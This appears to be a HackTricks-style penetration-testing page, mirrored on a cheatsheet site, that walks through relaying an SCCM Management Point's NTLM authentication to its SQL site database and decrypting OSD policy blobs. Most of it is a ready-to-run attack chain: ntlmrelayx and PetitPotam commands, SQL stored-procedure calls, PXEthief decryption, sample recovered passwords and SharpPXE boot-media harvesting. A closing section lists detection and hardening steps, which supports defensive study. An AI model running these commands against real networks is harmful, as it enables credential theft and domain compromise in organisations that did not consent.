// HackTricks · Windows

SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction

SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction

TL;DR

By coercing a System Center Configuration Manager (SCCM) Management Point (MP) to authenticate over SMB/RPC and relaying that NTLM machine account to the site database (MSSQL) you obtain smsdbrole_MP / smsdbrole_MPUserSvc rights. These roles let you call a set of stored procedures that expose Operating System Deployment (OSD) policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with PXEthief, yielding plaintext secrets.[2]

High-level chain:

  1. Discover MP & site DB ↦ unauthenticated HTTP endpoint /SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA.
  2. Start ntlmrelayx.py -t mssql://<SiteDB> -ts -socks.
  3. Coerce MP using PetitPotam, PrinterBug, DFSCoerce, etc.
  4. Through the SOCKS proxy connect with mssqlclient.py -windows-auth as the relayed \$ account.
  5. Execute:
    • use CM_<SiteCode>
    • exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''
    • exec MP_GetPolicyBody N'<PolicyID>',N'<Version>' (or MP_GetPolicyBodyAfterAuthorization)
  6. Strip 0xFFFE BOM, xxd -r -p → XML → python3 pxethief.py 7 <hex>.

Secrets such as OSDJoinAccount/OSDJoinPassword, NetworkAccessUsername/Password, etc. are recovered without touching PXE or clients.[1][3]


1. Enumerating unauthenticated MP endpoints

The MP ISAPI extension GetAuth.dll exposes several parameters that don’t require authentication (unless the site is PKI-only):[1]

ParameterPurpose
MPKEYINFORMATIONMEDIAReturns site signing cert public key + GUIDs of x86 / x64 All Unknown Computers devices.
MPLISTLists every Management-Point in the site.
SITESIGNCERTReturns Primary-Site signing certificate (identify the site server without LDAP).

Grab the GUIDs that will act as the clientID for later DB queries:

curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -

2. Relay the MP machine account to MSSQL

# 1. Start the relay listener (SMB→TDS)                              
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support

# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
       -u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10

When the coercion fires you should see something like:

[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)

3. Identify OSD policies via stored procedures

Connect through the SOCKS proxy (port 1080 by default):[1]

proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth

Switch to the CM_ DB (use the 3-digit site code, e.g. CM_001).

3.1 Find Unknown-Computer GUIDs (optional)

USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86

3.2 List assigned policies

EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';

Each row contains PolicyAssignmentID,Body (hex), PolicyID, PolicyVersion.

Focus on policies:

  • NAAConfig – Network Access Account creds
  • TS_Sequence – Task Sequence variables (OSDJoinAccount/Password)
  • CollectionSettings – Can contain run-as accounts

3.3 Retrieve full body

If you already have PolicyID & PolicyVersion you can skip the clientID requirement using:

EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';

IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated.


4. Decode & decrypt the blob

# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml

# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)

Recovered secrets example:

OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123

5. Relevant SQL roles & procedures

Upon relay the login is mapped to:[1]

  • smsdbrole_MP
  • smsdbrole_MPUserSvc

These roles expose dozens of EXEC permissions, the key ones used in this attack are:

Stored ProcedurePurpose
MP_GetMachinePolicyAssignmentsList policies applied to a clientID.
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorizationReturn complete policy body.
MP_GetListOfMPsInSiteOSDReturned by MPKEYINFORMATIONMEDIA path.

You can inspect the full list with:

SELECT pr.name
FROM   sys.database_principals AS dp
JOIN   sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN   sys.objects AS pr ON pr.object_id = pe.major_id
WHERE  dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
  AND  pe.permission_name='EXECUTE';

6. PXE boot media harvesting (SharpPXE)

  • PXE reply over UDP/4011: send a PXE boot request to a Distribution Point configured for PXE. The proxyDHCP response reveals boot paths such as SMSBoot\\x64\\pxe\\variables.dat (encrypted config) and SMSBoot\\x64\\pxe\\boot.bcd, plus an optional encrypted key blob.[4]
  • Retrieve boot artifacts via TFTP: use the returned paths to download variables.dat over TFTP (unauthenticated). The file is small (a few KB) and contains the encrypted media variables.
  • Decrypt or crack:
    • If the response includes the decryption key, feed it to SharpPXE to decrypt variables.dat directly.
    • If no key is provided (PXE media protected by a custom password), SharpPXE emits a Hashcat-compatible $sccm$aes128$... hash for offline cracking. After recovering the password, decrypt the file.
  • Parse decrypted XML: plaintext variables contain SCCM deployment metadata (Management Point URL, Site Code, media GUIDs, and other identifiers). SharpPXE parses them and prints a ready-to-run SharpSCCM command with GUID/PFX/site parameters prefilled for follow-on abuse.
  • Requirements: only network reachability to the PXE listener (UDP/4011) and TFTP; no local admin privileges are needed.

7. Detection & Hardening

  1. Monitor MP logins – any MP computer account logging in from an IP that isn’t its host ≈ relay.[1]
  2. Enable Extended Protection for Authentication (EPA) on the site database (PREVENT-14).
  3. Disable unused NTLM, enforce SMB signing, restrict RPC ( same mitigations used against PetitPotam/PrinterBug).
  4. Harden MP ↔ DB communication with IPSec / mutual-TLS.
  5. Constrain PXE exposure – firewall UDP/4011 and TFTP to trusted VLANs, require PXE passwords, and alert on TFTP downloads of SMSBoot\\*\\pxe\\variables.dat.[4]

See also

  • NTLM relay fundamentals:

Readme

  • MSSQL abuse & post-exploitation:

Abusing Ad Mssql

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.